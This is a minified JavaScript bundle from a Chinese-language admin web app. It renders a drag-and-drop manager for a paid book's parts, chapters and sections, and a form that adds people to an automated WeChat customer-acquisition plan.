z==="chapter"&&ne?(xe.type==="section"||xe.type==="chapter")&&L(fe,"chapter",Z,ne):z==="section"&&ne&&L(fe,"section",Z,ne)}}),D=z=>sV[z]??String(z+1);return s.jsx("div",{className:"space-y-3",children:t.map((z,Z)=>{var B,_,W,le;const ne=z.title==="序言"||z.title.includes("序言"),fe=z.title==="尾声"||z.title.includes("尾声"),xe=z.title==="附录"||z.title.includes("附录"),$=I("part",z.id),H=e.includes(z.id),oe=z.chapters.length,P=z.chapters.reduce((J,Y)=>J+Y.sections.length,0);if(ne&&z.chapters.length===1&&z.chapters[0].sections.length===1){const J=z.chapters[0].sections[0],Y=I("section",J.id),V={partId:z.id,partTitle:z.title,chapterId:z.chapters[0].id,chapterTitle:z.chapters[0].title};return s.jsxs("div",{draggable:!0,onDragStart:re=>{re.stopPropagation(),re.dataTransfer.setData("text/plain","section:"+J.id),re.dataTransfer.effectAllowed="move",k({type:"section",id:J.id})},onDragEnd:()=>{k(null),E(null)},className:`rounded-xl border border-gray-700/50 bg-[#1C1C1E] p-4 flex items-center justify-between hover:border-[#38bdac]/30 transition-colors cursor-grab active:cursor-grabbing select-none min-h-[40px] ${Y?"bg-[#38bdac]/15 ring-2 ring-[#38bdac]/50":""} ${T("section",J.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":""}`,...R("section",J.id,V),children:[s.jsxs("div",{className:"flex items-center gap-3 flex-1 min-w-0 select-none",children:[s.jsx(ua,{className:"w-5 h-5 text-gray-500 shrink-0 opacity-60"}),y&&s.jsx("label",{className:"shrink-0 flex items-center",onClick:re=>re.stopPropagation(),children:s.jsx("input",{type:"checkbox",checked:g.includes(J.id),onChange:()=>y(J.id),className:"w-4 h-4 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"})}),s.jsx("div",{className:"w-8 h-8 rounded-lg bg-gray-600/50 flex items-center justify-center shrink-0",children:s.jsx(Br,{className:"w-4 h-4 text-gray-400"})}),s.jsxs("span",{className:"font-medium text-gray-200 truncate",children:[z.chapters[0].title," | ",J.title]}),w.includes(J.id)&&s.jsx("span",{title:"已置顶",children:s.jsx(gl,{className:"w-3.5 h-3.5 text-amber-400 fill-amber-400 shrink-0"})})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",onMouseDown:re=>re.stopPropagation(),onClick:re=>re.stopPropagation(),children:[J.price===0||J.isFree?s.jsx("span",{className:"px-2 py-1 bg-[#38bdac]/20 text-[#38bdac] text-[10px] font-medium rounded",children:"免费"}):s.jsxs("span",{className:"text-xs text-gray-500",children:["¥",J.price]}),s.jsxs("span",{className:"text-[10px] text-gray-500",children:["点击 ",J.clickCount??0," · 付款 ",J.payCount??0]}),s.jsxs("span",{className:"text-[10px] text-amber-400/90",title:"热度积分与排名",children:["热度 ",(J.hotScore??0).toFixed(1)," · 第",J.hotRank&&J.hotRank>0?J.hotRank:"-","名"]}),N&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>N(J),className:"text-[10px] text-gray-500 hover:text-[#38bdac] h-7 px-1.5",children:"付款记录"}),s.jsxs("div",{className:"flex gap-1",children:[s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>a(J),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"编辑",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>i(J),className:"text-gray-500 hover:text-red-400 h-7 px-2",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]})]},z.id)}if(z.id==="part-2026-daily"){const J=I("part",z.id);return s.jsxs("div",{className:`rounded-xl border overflow-hidden transition-all duration-200 ${J?"border-[#38bdac] ring-2 ring-[#38bdac]/40 bg-[#38bdac]/5":"border-gray-700/50 bg-[#1C1C1E]"}`,...R("part",z.id,{partId:z.id,partTitle:z.title,chapterId:((B=z.chapters[0])==null?void 0:B.id)??"",chapterTitle:((_=z.chapters[0])==null?void 0:_.title)??""}),children:[s.jsxs("div",{draggable:!0,onDragStart:Y=>{Y.stopPropagation(),Y.dataTransfer.setData("text/plain","part:"+z.id),Y.dataTransfer.effectAllowed="move",k({type:"part",id:z.id})},onDragEnd:()=>{k(null),E(null)},className:`flex items-center justify-between p-4 cursor-grab active:cursor-grabbing select-none transition-all duration-200 ${T("part",z.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":"hover:bg-[#162840]/50"}`,onClick:()=>n(z.id),children:[s.jsxs("div",{className:"flex items-center gap-3 min-w-0",children:[s.jsx(ua,{className:"w-5 h-5 text-gray-500 shrink-0 opacity-60"}),s.jsx("div",{className:"w-10 h-10 rounded-xl bg-[#38bdac]/80 flex items-center justify-center text-white font-bold shrink-0",children:"派"}),s.jsxs("div",{children:[s.jsx("h3",{className:"font-bold text-white text-base",children:z.title}),s.jsxs("p",{className:"text-xs text-gray-500 mt-0.5",children:["共 ",P," 节"]})]})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",onMouseDown:Y=>Y.stopPropagation(),onClick:Y=>Y.stopPropagation(),children:[o&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>o(z),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"在本篇下新增章节",children:s.jsx(hn,{className:"w-3.5 h-3.5"})}),h&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>h(z),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"编辑篇名",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),f&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>f(z),className:"text-gray-500 hover:text-red-400 h-7 px-2",title:"删除本篇",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})}),s.jsxs("span",{className:"text-xs text-gray-500",children:[oe,"章"]}),H?s.jsx(Zc,{className:"w-5 h-5 text-gray-500"}):s.jsx(pl,{className:"w-5 h-5 text-gray-500"})]})]}),H&&z.chapters.length>0&&s.jsx("div",{className:"border-t border-gray-700/50 pl-4 pr-4 pb-4 pt-3 space-y-4",children:z.chapters.map(Y=>s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center gap-2 w-full",children:[s.jsx("p",{className:"text-xs text-gray-500 pb-1 flex-1",children:Y.title}),s.jsxs("div",{className:"flex gap-0.5 shrink-0",onClick:V=>V.stopPropagation(),children:[m&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>m(z,Y),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"编辑章节名称",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),c&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>c(z),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"新增第X章",children:s.jsx(hn,{className:"w-3.5 h-3.5"})}),u&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>u(z,Y),className:"text-gray-500 hover:text-red-400 h-7 px-1.5",title:"删除本章",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]}),s.jsx("div",{className:"space-y-1 pl-2",children:Y.sections.map(V=>{const re=I("section",V.id);return s.jsxs("div",{draggable:!0,onDragStart:ue=>{ue.stopPropagation(),ue.dataTransfer.setData("text/plain","section:"+V.id),ue.dataTransfer.effectAllowed="move",k({type:"section",id:V.id})},onDragEnd:()=>{k(null),E(null)},className:`flex items-center justify-between py-2 px-3 rounded-lg min-h-[40px] cursor-grab active:cursor-grabbing select-none transition-all duration-200 ${re?"bg-[#38bdac]/15 ring-2 ring-[#38bdac]/50":"hover:bg-[#162840]/50"} ${T("section",V.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":""}`,...R("section",V.id,{partId:z.id,partTitle:z.title,chapterId:Y.id,chapterTitle:Y.title}),children:[s.jsxs("div",{className:"flex items-center gap-2 min-w-0 flex-1",children:[s.jsx(ua,{className:"w-4 h-4 text-gray-500 shrink-0 opacity-50"}),y&&s.jsx("label",{className:"shrink-0 flex items-center",onClick:ue=>ue.stopPropagation(),children:s.jsx("input",{type:"checkbox",checked:g.includes(V.id),onChange:()=>y(V.id),className:"w-4 h-4 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"})}),s.jsxs("span",{className:"text-sm text-gray-200 truncate",children:[V.id," ",V.title]}),w.includes(V.id)&&s.jsx("span",{title:"已置顶",children:s.jsx(gl,{className:"w-3 h-3 text-amber-400 fill-amber-400 shrink-0"})})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",children:[s.jsxs("span",{className:"text-[10px] text-gray-500",children:["点击 ",V.clickCount??0," · 付款 ",V.payCount??0]}),s.jsxs("span",{className:"text-[10px] text-amber-400/90",title:"热度积分与排名",children:["热度 ",(V.hotScore??0).toFixed(1)," · 第",V.hotRank&&V.hotRank>0?V.hotRank:"-","名"]}),N&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>N(V),className:"text-[10px] text-gray-500 hover:text-[#38bdac] h-7 px-1.5",children:"付款记录"}),s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>a(V),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"编辑",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>i(V),className:"text-gray-500 hover:text-red-400 h-7 px-1.5",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]},V.id)})})]},Y.id))})]},z.id)}if(xe)return s.jsxs("div",{className:"rounded-xl border border-gray-700/50 bg-[#1C1C1E] p-5",children:[s.jsx("h3",{className:"text-sm font-medium text-gray-400 mb-4",children:"附录"}),s.jsx("div",{className:"space-y-3",children:z.chapters.map((J,Y)=>J.sections.length>0?J.sections.map(V=>{const re=I("section",V.id);return s.jsxs("div",{draggable:!0,onDragStart:ue=>{ue.stopPropagation(),ue.dataTransfer.setData("text/plain","section:"+V.id),ue.dataTransfer.effectAllowed="move",k({type:"section",id:V.id})},onDragEnd:()=>{k(null),E(null)},className:`flex justify-between items-center py-2 select-none rounded px-2 -mx-2 group cursor-grab active:cursor-grabbing min-h-[40px] transition-all duration-200 ${re?"bg-[#38bdac]/15 ring-2 ring-[#38bdac]/50":"hover:bg-[#162840]/50"} ${T("section",V.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":""}`,...R("section",V.id,{partId:z.id,partTitle:z.title,chapterId:J.id,chapterTitle:J.title}),children:[s.jsxs("div",{className:"flex items-center gap-2 min-w-0 flex-1",children:[s.jsx(ua,{className:"w-4 h-4 text-gray-500 shrink-0 opacity-50"}),y&&s.jsx("label",{className:"shrink-0 flex items-center",onClick:ue=>ue.stopPropagation(),children:s.jsx("input",{type:"checkbox",checked:g.includes(V.id),onChange:()=>y(V.id),className:"w-4 h-4 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"})}),s.jsxs("span",{className:"text-sm text-gray-300 truncate",children:["附录",Y+1," | ",J.title," | ",V.title]}),w.includes(V.id)&&s.jsx("span",{title:"已置顶",children:s.jsx(gl,{className:"w-3 h-3 text-amber-400 fill-amber-400 shrink-0"})})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",children:[s.jsxs("span",{className:"text-[10px] text-gray-500",children:["点击 ",V.clickCount??0," · 付款 ",V.payCount??0]}),s.jsxs("span",{className:"text-[10px] text-amber-400/90",title:"热度积分与排名",children:["热度 ",(V.hotScore??0).toFixed(1)," · 第",V.hotRank&&V.hotRank>0?V.hotRank:"-","名"]}),N&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>N(V),className:"text-[10px] text-gray-500 hover:text-[#38bdac] h-7 px-1.5",children:"付款记录"}),s.jsxs("div",{className:"flex gap-1 opacity-0 group-hover:opacity-100 transition-opacity",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>a(V),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"编辑",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>i(V),className:"text-gray-500 hover:text-red-400 h-7 px-1.5",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]}),s.jsx(pl,{className:"w-4 h-4 text-gray-500 shrink-0"})]},V.id)}):s.jsxs("div",{className:"flex justify-between items-center py-2 select-none hover:bg-[#162840]/50 rounded px-2 -mx-2",children:[s.jsxs("span",{className:"text-sm text-gray-500",children:["附录",Y+1," | ",J.title,"(空)"]}),s.jsx(pl,{className:"w-4 h-4 text-gray-500 shrink-0"})]},J.id))})]},z.id);if(fe&&z.chapters.length===1&&z.chapters[0].sections.length===1){const J=z.chapters[0].sections[0],Y=I("section",J.id),V={partId:z.id,partTitle:z.title,chapterId:z.chapters[0].id,chapterTitle:z.chapters[0].title};return s.jsxs("div",{draggable:!0,onDragStart:re=>{re.stopPropagation(),re.dataTransfer.setData("text/plain","section:"+J.id),re.dataTransfer.effectAllowed="move",k({type:"section",id:J.id})},onDragEnd:()=>{k(null),E(null)},className:`rounded-xl border border-gray-700/50 bg-[#1C1C1E] p-4 flex items-center justify-between hover:border-[#38bdac]/30 transition-colors cursor-grab active:cursor-grabbing select-none min-h-[40px] ${Y?"bg-[#38bdac]/15 ring-2 ring-[#38bdac]/50":""} ${T("section",J.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":""}`,...R("section",J.id,V),children:[s.jsxs("div",{className:"flex items-center gap-3 flex-1 min-w-0 select-none",children:[s.jsx(ua,{className:"w-5 h-5 text-gray-500 shrink-0 opacity-60"}),y&&s.jsx("label",{className:"shrink-0 flex items-center",onClick:re=>re.stopPropagation(),children:s.jsx("input",{type:"checkbox",checked:g.includes(J.id),onChange:()=>y(J.id),className:"w-4 h-4 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"})}),s.jsx("div",{className:"w-8 h-8 rounded-lg bg-gray-600/50 flex items-center justify-center shrink-0",children:s.jsx(Br,{className:"w-4 h-4 text-gray-400"})}),s.jsxs("span",{className:"font-medium text-gray-200 truncate",children:[z.chapters[0].title," | ",J.title]})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",onMouseDown:re=>re.stopPropagation(),onClick:re=>re.stopPropagation(),children:[J.price===0||J.isFree?s.jsx("span",{className:"px-2 py-1 bg-[#38bdac]/20 text-[#38bdac] text-[10px] font-medium rounded",children:"免费"}):s.jsxs("span",{className:"text-xs text-gray-500",children:["¥",J.price]}),s.jsxs("span",{className:"text-[10px] text-gray-500",children:["点击 ",J.clickCount??0," · 付款 ",J.payCount??0]}),s.jsxs("span",{className:"text-[10px] text-amber-400/90",title:"热度积分与排名",children:["热度 ",(J.hotScore??0).toFixed(1)," · 第",J.hotRank&&J.hotRank>0?J.hotRank:"-","名"]}),N&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>N(J),className:"text-[10px] text-gray-500 hover:text-[#38bdac] h-7 px-1.5",children:"付款记录"}),s.jsxs("div",{className:"flex gap-1",children:[s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>a(J),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"编辑",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>i(J),className:"text-gray-500 hover:text-red-400 h-7 px-2",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]})]},z.id)}return fe?s.jsxs("div",{className:"rounded-xl border border-gray-700/50 bg-[#1C1C1E] p-5",children:[s.jsx("h3",{className:"text-sm font-medium text-gray-400 mb-4",children:"尾声"}),s.jsx("div",{className:"space-y-3",children:z.chapters.map(J=>J.sections.map(Y=>{const V=I("section",Y.id);return s.jsxs("div",{draggable:!0,onDragStart:re=>{re.stopPropagation(),re.dataTransfer.setData("text/plain","section:"+Y.id),re.dataTransfer.effectAllowed="move",k({type:"section",id:Y.id})},onDragEnd:()=>{k(null),E(null)},className:`flex justify-between items-center py-2 select-none rounded px-2 -mx-2 cursor-grab active:cursor-grabbing min-h-[40px] transition-all duration-200 ${V?"bg-[#38bdac]/15 ring-2 ring-[#38bdac]/50":"hover:bg-[#162840]/50"} ${T("section",Y.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":""}`,...R("section",Y.id,{partId:z.id,partTitle:z.title,chapterId:J.id,chapterTitle:J.title}),children:[s.jsxs("div",{className:"flex items-center gap-2 min-w-0 flex-1",children:[s.jsx(ua,{className:"w-4 h-4 text-gray-500 shrink-0 opacity-50"}),y&&s.jsx("label",{className:"shrink-0 flex items-center",onClick:re=>re.stopPropagation(),children:s.jsx("input",{type:"checkbox",checked:g.includes(Y.id),onChange:()=>y(Y.id),className:"w-4 h-4 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"})}),s.jsxs("span",{className:"text-sm text-gray-300",children:[J.title," | ",Y.title]})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",children:[s.jsxs("span",{className:"text-[10px] text-gray-500",children:["点击 ",Y.clickCount??0," · 付款 ",Y.payCount??0]}),s.jsxs("span",{className:"text-[10px] text-amber-400/90",title:"热度积分与排名",children:["热度 ",(Y.hotScore??0).toFixed(1)," · 第",Y.hotRank&&Y.hotRank>0?Y.hotRank:"-","名"]}),N&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>N(Y),className:"text-[10px] text-gray-500 hover:text-[#38bdac] h-7 px-1.5",children:"付款记录"}),s.jsxs("div",{className:"flex gap-1",children:[s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>a(Y),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"编辑",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>i(Y),className:"text-gray-500 hover:text-red-400 h-7 px-2",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]})]},Y.id)}))})]},z.id):s.jsxs("div",{className:`rounded-xl border bg-[#1C1C1E] overflow-hidden transition-all duration-200 ${$?"border-[#38bdac] ring-2 ring-[#38bdac]/40 bg-[#38bdac]/5":"border-gray-700/50"}`,...R("part",z.id,{partId:z.id,partTitle:z.title,chapterId:((W=z.chapters[0])==null?void 0:W.id)??"",chapterTitle:((le=z.chapters[0])==null?void 0:le.title)??""}),children:[s.jsxs("div",{draggable:!0,onDragStart:J=>{J.stopPropagation(),J.dataTransfer.setData("text/plain","part:"+z.id),J.dataTransfer.effectAllowed="move",k({type:"part",id:z.id})},onDragEnd:()=>{k(null),E(null)},className:`flex items-center justify-between p-4 cursor-grab active:cursor-grabbing select-none transition-all duration-200 ${T("part",z.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac] rounded-xl shadow-xl shadow-[#38bdac]/20":"hover:bg-[#162840]/50"}`,onClick:()=>n(z.id),children:[s.jsxs("div",{className:"flex items-center gap-3 min-w-0",children:[s.jsx(ua,{className:"w-5 h-5 text-gray-500 shrink-0 opacity-60"}),s.jsx("div",{className:"w-10 h-10 rounded-xl bg-[#38bdac] flex items-center justify-center text-white font-bold shadow-lg shadow-[#38bdac]/30 shrink-0",children:D(Z)}),s.jsxs("div",{children:[s.jsx("h3",{className:"font-bold text-white text-base",children:z.title}),s.jsxs("p",{className:"text-xs text-gray-500 mt-0.5",children:["共 ",P," 节"]})]})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",onMouseDown:J=>J.stopPropagation(),onClick:J=>J.stopPropagation(),children:[o&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>o(z),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"在本篇下新增章节",children:s.jsx(hn,{className:"w-3.5 h-3.5"})}),h&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>h(z),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"编辑篇名",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),f&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>f(z),className:"text-gray-500 hover:text-red-400 h-7 px-2",title:"删除本篇",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})}),s.jsxs("span",{className:"text-xs text-gray-500",children:[oe,"章"]}),H?s.jsx(Zc,{className:"w-5 h-5 text-gray-500"}):s.jsx(pl,{className:"w-5 h-5 text-gray-500"})]})]}),H&&s.jsx("div",{className:"border-t border-gray-700/50 pl-4 pr-4 pb-4 pt-3 space-y-4",children:z.chapters.map(J=>{const Y=I("chapter",J.id);return s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center gap-2 w-full",children:[s.jsxs("div",{draggable:!0,onDragStart:V=>{V.stopPropagation(),V.dataTransfer.setData("text/plain","chapter:"+J.id),V.dataTransfer.effectAllowed="move",k({type:"chapter",id:J.id})},onDragEnd:()=>{k(null),E(null)},onDragEnter:V=>{V.preventDefault(),V.stopPropagation(),V.dataTransfer.dropEffect="move",E({type:"chapter",id:J.id})},onDragOver:V=>{V.preventDefault(),V.stopPropagation(),V.dataTransfer.dropEffect="move",E({type:"chapter",id:J.id})},onDragLeave:()=>E(null),onDrop:V=>{E(null);const re=Ng(V.dataTransfer.getData("text/plain"));if(!re)return;const ue={partId:z.id,partTitle:z.title,chapterId:J.id,chapterTitle:J.title};(re.type==="section"||re.type==="chapter")&&L(V,"chapter",J.id,ue)},className:`flex-1 min-w-0 py-2 px-2 rounded cursor-grab active:cursor-grabbing select-none -mx-2 transition-all duration-200 flex items-center gap-2 ${Y?"bg-[#38bdac]/15 ring-1 ring-[#38bdac]/50":""} ${T("chapter",J.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":"hover:bg-[#162840]/30"}`,children:[s.jsx(ua,{className:"w-4 h-4 text-gray-500 shrink-0 opacity-50"}),s.jsx("p",{className:"text-xs text-gray-500 pb-1 flex-1",children:J.title})]}),s.jsxs("div",{className:"flex gap-0.5 shrink-0",onClick:V=>V.stopPropagation(),children:[m&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>m(z,J),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"编辑章节名称",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),c&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>c(z),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"新增第X章",children:s.jsx(hn,{className:"w-3.5 h-3.5"})}),u&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>u(z,J),className:"text-gray-500 hover:text-red-400 h-7 px-1.5",title:"删除本章",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]}),s.jsx("div",{className:"space-y-1 pl-2",children:J.sections.map(V=>{const re=I("section",V.id);return s.jsxs("div",{draggable:!0,onDragStart:ue=>{ue.stopPropagation(),ue.dataTransfer.setData("text/plain","section:"+V.id),ue.dataTransfer.effectAllowed="move",k({type:"section",id:V.id})},onDragEnd:()=>{k(null),E(null)},className:`flex items-center justify-between py-2 px-3 rounded-lg group cursor-grab active:cursor-grabbing select-none min-h-[40px] transition-all duration-200 ${re?"bg-[#38bdac]/15 ring-2 ring-[#38bdac]/50":""} ${T("section",V.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac] shadow-lg":"hover:bg-[#162840]/50"}`,...R("section",V.id,{partId:z.id,partTitle:z.title,chapterId:J.id,chapterTitle:J.title}),children:[s.jsxs("div",{className:"flex items-center gap-3 min-w-0 flex-1",children:[y&&s.jsx("label",{className:"shrink-0 flex items-center",onClick:ue=>ue.stopPropagation(),children:s.jsx("input",{type:"checkbox",checked:g.includes(V.id),onChange:()=>y(V.id),className:"w-4 h-4 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"})}),s.jsx(ua,{className:"w-4 h-4 text-gray-500 shrink-0 opacity-50"}),s.jsx("div",{className:`w-2 h-2 rounded-full shrink-0 ${V.price===0||V.isFree?"border-2 border-[#38bdac] bg-transparent":"bg-gray-500"}`}),s.jsxs("span",{className:"text-sm text-gray-200 truncate",children:[V.id," ",V.title]}),w.includes(V.id)&&s.jsx("span",{title:"已置顶",children:s.jsx(gl,{className:"w-3 h-3 text-amber-400 fill-amber-400 shrink-0"})})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",onMouseDown:ue=>ue.stopPropagation(),onClick:ue=>ue.stopPropagation(),children:[V.isNew&&s.jsx("span",{className:"px-2 py-1 bg-[#38bdac]/20 text-[#38bdac] text-[10px] font-medium rounded",children:"NEW"}),V.price===0||V.isFree?s.jsx("span",{className:"px-2 py-1 bg-[#38bdac]/20 text-[#38bdac] text-[10px] font-medium rounded",children:"免费"}):s.jsxs("span",{className:"text-xs text-gray-500",children:["¥",V.price]}),s.jsxs("span",{className:"text-[10px] text-gray-500",title:"点击次数 · 付款笔数",children:["点击 ",V.clickCount??0," · 付款 ",V.payCount??0]}),s.jsxs("span",{className:"text-[10px] text-amber-400/90",title:"热度积分与排名",children:["热度 ",(V.hotScore??0).toFixed(1)," · 第",V.hotRank&&V.hotRank>0?V.hotRank:"-","名"]}),N&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>N(V),className:"text-[10px] text-gray-500 hover:text-[#38bdac] h-7 px-1.5 shrink-0",children:"付款记录"}),s.jsxs("div",{className:"flex gap-0.5 opacity-0 group-hover:opacity-100 transition-opacity",children:[s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>a(V),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"编辑",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>i(V),className:"text-gray-500 hover:text-red-400 h-7 px-1.5",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]})]},V.id)})})]},J.id)})})]},z.id)})})}function iV(t){var a;const e=new URLSearchParams;e.set("page",String(t.page)),e.set("limit",String(t.limit)),(a=t==null?void 0:t.keyword)!=null&&a.trim()&&e.set("keyword",t.keyword.trim());const n=e.toString(),r=n?`/api/admin/ckb/devices?${n}`:"/api/admin/ckb/devices";return De(r)}function oV(t){return De(`/api/db/person?personId=${encodeURIComponent(t)}`)}const $4=11,bw={personId:"",name:"",label:"",sceneId:$4,ckbApiKey:"",greeting:"你好,请通过",tips:"请注意消息,稍后加你微信",remarkType:"phone",remarkFormat:"",addFriendInterval:1,startTime:"09:00",endTime:"18:00",deviceGroups:""};function lV({open:t,onOpenChange:e,editingPerson:n,onSubmit:r}){const a=!!n,[i,o]=b.useState(bw),[c,u]=b.useState(!1),[h,f]=b.useState(!1),[m,g]=b.useState([]),[y,N]=b.useState(!1),[w,v]=b.useState(""),[k,C]=b.useState({});b.useEffect(()=>{t&&(v(""),o(n?{personId:n.personId??n.name??"",name:n.name??"",label:n.label??"",sceneId:$4,ckbApiKey:n.ckbApiKey??"",greeting:"你好,请通过",tips:"请注意消息,稍后加你微信",remarkType:n.remarkType??"phone",remarkFormat:n.remarkFormat??"",addFriendInterval:n.addFriendInterval??1,startTime:n.startTime??"09:00",endTime:n.endTime??"18:00",deviceGroups:n.deviceGroups??""}:{...bw}),C({}),m.length===0&&E(""))},[t,n]);const E=async I=>{N(!0);try{const O=await iV({page:1,limit:50,keyword:I});O!=null&&O.success&&Array.isArray(O.devices)?g(O.devices):O!=null&&O.error&&ie.error(O.error)}catch(O){ie.error(O instanceof Error?O.message:"加载设备列表失败")}finally{N(!1)}},T=async()=>{var R;const I={};(!i.name||!String(i.name).trim())&&(I.name="请填写名称");const O=i.addFriendInterval;if((typeof O!="number"||O<1)&&(I.addFriendInterval="添加间隔至少为 1 分钟"),(((R=i.deviceGroups)==null?void 0:R.split(",").map(D=>D.trim()).filter(Boolean))??[]).length===0&&(I.deviceGroups="请至少选择 1 台设备"),C(I),Object.keys(I).length>0){ie.error(I.name||I.addFriendInterval||I.deviceGroups||"请完善必填项");return}u(!0);try{await r(i),e(!1)}catch(D){ie.error(D instanceof Error?D.message:"保存失败")}finally{u(!1)}};return s.jsx(Dt,{open:t,onOpenChange:e,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-4xl max-h-[90vh] overflow-y-auto",children:[s.jsxs(Lt,{children:[s.jsx(_t,{className:"text-[#38bdac]",children:a?"编辑人物":"添加人物 — 存客宝 API 获客"}),s.jsx(yf,{className:"text-gray-400 text-sm",children:a?"修改后同步到存客宝计划":"添加时自动生成 token,并同步创建存客宝场景获客计划"})]}),s.jsxs("div",{className:"space-y-6 py-2",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-xs font-medium text-gray-400 uppercase tracking-wider mb-3",children:"基础信息"}),s.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[s.jsxs("div",{className:"space-y-1.5",children:[s.jsxs(X,{className:"text-gray-400 text-xs",children:["名称 ",s.jsx("span",{className:"text-red-400",children:"*"})]}),s.jsx(se,{className:`bg-[#0a1628] text-white ${k.name?"border-red-500 focus-visible:ring-red-500":"border-gray-700"}`,placeholder:"如 卡若",value:i.name,onChange:I=>{o(O=>({...O,name:I.target.value})),k.name&&C(O=>({...O,name:void 0}))}}),k.name&&s.jsx("p",{className:"text-xs text-red-400",children:k.name})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"人物ID(可选)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 